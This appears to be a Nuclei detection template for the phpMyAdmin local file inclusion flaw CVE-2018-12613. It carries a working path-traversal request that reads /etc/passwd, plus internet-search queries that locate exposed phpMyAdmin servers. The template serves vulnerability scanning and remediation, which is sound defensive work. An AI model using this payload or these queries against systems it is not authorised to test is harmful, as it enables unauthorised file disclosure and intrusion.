PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
PoC
id: CVE-2018-12613
info:
name: PhpMyAdmin <4.8.2 - Local File Inclusion
author: pikpikcu
severity: high
description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server.
remediation: |
Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.
reference:
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
- https://www.phpmyadmin.net/security/PMASA-2018-4/
- https://www.exploit-db.com/exploits/44928/
- https://nvd.nist.gov/vuln/detail/CVE-2018-12613
- https://security.gentoo.org/glsa/201904-16
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2018-12613
cwe-id: CWE-287
epss-score: 0.9835
epss-percentile: 0.99915
cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: phpmyadmin
product: phpmyadmin
shodan-query:
- http.title:"phpmyadmin"
- http.component:"phpmyadmin"
- cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
fofa-query:
- title="phpmyadmin"
- body="pma_servername" && body="4.8.4"
google-query: intitle:"phpmyadmin"
hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
tags: cve,cve2018,vulhub,edb,phpmyadmin,lfi,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100d2d0d9601559a40771d4cc14dfd82946e66d8a979640d0ab794e924565a8977e02201332578166753d2d13388058bbda853d7822691f402a3337b07ba4301b2d86f5:922c64590222798bb761d5b6d8e72950
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